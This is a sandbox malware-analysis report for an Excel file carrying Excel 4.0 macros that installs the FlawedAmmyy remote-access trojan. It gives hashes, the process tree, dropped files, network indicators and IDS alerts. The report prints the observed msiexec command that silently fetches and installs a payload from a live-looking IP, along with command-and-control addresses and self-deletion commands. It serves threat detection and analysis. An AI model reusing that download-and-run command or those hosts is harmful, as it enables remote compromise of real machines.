analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

df84893d492a78ea417ed9d185946b5d.xls

Full analysis: https://app.any.run/tasks/f239a7b5-c077-43c6-8764-06e864ef5bf1
Verdict: Malicious activity
Threats:

FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics.

Malware Trends Tracker     >>>
Analysis date: February 19, 2019, 01:04:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
exe-to-msi
rat
flawedammyy
ammyy
trojan
ta505
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Mon Feb 18 21:53:20 2019, Security: 0
MD5:

DF84893D492A78EA417ED9D185946B5D

SHA1:

065FEE06DA93ADFF3F0B64A307333816118E7688

SHA256:

14A577109DE5CBBD1A642C638850C42F5B0CC335D8A3572EC23228786BAC1D41

SSDEEP:

3072:9Kpb8rGYrMPelwhKmFV5xtezEsgrdgLiiiiiii3kZOeX7+93plBiFUq0oXGK:9Kpb8rGYrMPelwhKmFV5xtuEsgrdgLi4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2952)

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 2952)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 1864)

    • Application was dropped or rewritten from another process

      • wsus.exe (PID: 2732)
      • wsus.exe (PID: 3656)

    • Downloads executable files from IP

      • msiexec.exe (PID: 1864)

    • Changes the autorun value in the registry

      • MSI7553.tmp (PID: 2356)

    • FLAWEDAMMYY was detected

      • wsus.exe (PID: 2732)

    • Loads the Task Scheduler DLL interface

      • MSI7553.tmp (PID: 2356)

    • Connects to CnC server

      • wsus.exe (PID: 2732)

    • Loads the Task Scheduler COM API

      • MSI7553.tmp (PID: 2356)

  • SUSPICIOUS

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 1864)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 1864)
      • MSI7553.tmp (PID: 2356)

    • Creates files in the program directory

      • MSI7553.tmp (PID: 2356)

    • Creates files in the Windows directory

      • MSI7553.tmp (PID: 2356)

    • Starts CMD.EXE for commands execution

      • MSI7553.tmp (PID: 2356)

  • INFO

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 1864)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2952)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 1864)

    • Application was dropped or rewritten from another process

      • MSI7553.tmp (PID: 2356)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Листы
  • 1
  • Макросы Excel 4.0
  • 1
TitleOfParts:
  • Лист3
  • Макрос1
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: Microsoft Corporation
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2019:02:18 21:53:20
CreateDate: 2018:12:19 10:42:12
Software: Microsoft Excel
LastModifiedBy: 1
Author: Microsoft Office
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
8
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi7553.tmp #FLAWEDAMMYY wsus.exe cmd.exe no specs wsus.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2952"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
2888msiexec.exe val=conn rdp=redim OnLoad='c:\windows\cmd.exe' /i http://185.17.120.235/select /qC:\Windows\system32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1864C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2356"C:\Windows\Installer\MSI7553.tmp"C:\Windows\Installer\MSI7553.tmp
msiexec.exe
User:
admin
Company:
IBM Controler' System Security Control
Integrity Level:
MEDIUM
Description:
IBM Controler' System Security Control
Exit code:
0
Version:
2.8.17228.1
2732"C:\ProgramData\Microsofts Help\wsus.exe"C:\ProgramData\Microsofts Help\wsus.exe
MSI7553.tmp
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Version:
1.18.2.51920
3864"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7553.tmp >> NULC:\Windows\system32\cmd.exe—MSI7553.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3656"C:\ProgramData\Microsofts Help\wsus.exe" C:\ProgramData\Microsofts Help\wsus.exe—taskeng.exe
User:
admin
Company:
Microsoft Block Security
Integrity Level:
MEDIUM
Description:
Microsoft Block Security
Exit code:
0
Version:
1.18.2.51920
3696"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSI7553.tmp >> NULC:\Windows\system32\cmd.exe—MSI7553.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
814
Read events
733
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
7
Text files
9
Unknown types
3

Dropped files

PID
Process
Filename
Type
2952EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6811.tmp.cvr —
MD5:—
SHA256:—
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFEC5787681F8FA820.TMP —
MD5:—
SHA256:—
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF5A7E7B3257A5B257.TMP —
MD5:—
SHA256:—
1864msiexec.exeC:\Windows\Installer\2473ab.ipibinary
MD5:4ECB19EE6A79A99D70F26F6C458DB5FA
SHA256:1F6C3657865E5D07879920B92A1939868DCEB47C399F831C65422EA1C6D9689E
1864msiexec.exeC:\Windows\Installer\MSI7553.tmpexecutable
MD5:CE0F37D5932FF0B583B79C6DCF7DAC7E
SHA256:4EFE3097DAC309A1619415E1EF8654F0B30B516E601D6C4C061CFCD9DD876968
2356MSI7553.tmpC:\ProgramData\Microsofts Help\template_fde330.DATAHASHbinary
MD5:DA80F64698FDCBE7C3284DF94DCCC6F3
SHA256:1FA3B63B9FD44F2C93B4D513BA33839F56094A2D7886C8E151BB9F11132CF5CD
1864msiexec.exeC:\Windows\Installer\MSI7428.tmpbinary
MD5:FF1D332E08786FE267451A8DE3D4A5B6
SHA256:008CEE95FCE0C6041E5AE65E9E2A541278FD69E514209CD03A233166DF4A288E
1864msiexec.exeC:\Windows\Installer\MSI71D5.tmpexecutable
MD5:C19F4137DA7C2D9E5A6A26EFE3FC0F9A
SHA256:10987FB8AB8275F9DE9B8F4F1434CAC08D03B659BF69F81FDB5659F7A0253079
2356MSI7553.tmpC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\dat1[1].omgbinary
MD5:DA80F64698FDCBE7C3284DF94DCCC6F3
SHA256:1FA3B63B9FD44F2C93B4D513BA33839F56094A2D7886C8E151BB9F11132CF5CD
1864msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:738E5BDEFF41F2FC06CB5C9FFA4B726F
SHA256:58D49F9DE5DC67FF2A85EAEE74EC7F724CFD8DF902C141C34DAEB3166305B63D
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2356
MSI7553.tmp
GET
200
185.17.120.235:80
http://185.17.120.235/dat1.omg
RU
binary
657 Kb
suspicious
1864
msiexec.exe
GET
200
185.17.120.235:80
http://185.17.120.235/select
RU
executable
168 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1864
msiexec.exe
185.17.120.235:80
—
Leaseweb Deutschland GmbH
RU
suspicious
2356
MSI7553.tmp
185.17.120.235:80
—
Leaseweb Deutschland GmbH
RU
suspicious
2732
wsus.exe
185.99.133.2:80
—
Zappie Host LLC
NZ
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
1864
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1864
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2732
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT
2732
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] AMMYY RAT
2732
wsus.exe
A Network Trojan was detected
ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
2732
wsus.exe
A Network Trojan was detected
MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin
1 ETPRO signatures available at the full report
Process
Message
MSI7553.tmp
C:\ProgramData\Microsofts Help\template_fde330.DATAHASH
MSI7553.tmp
--End Dowload--
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
df84893d492a78ea417ed9d185946b5d.xls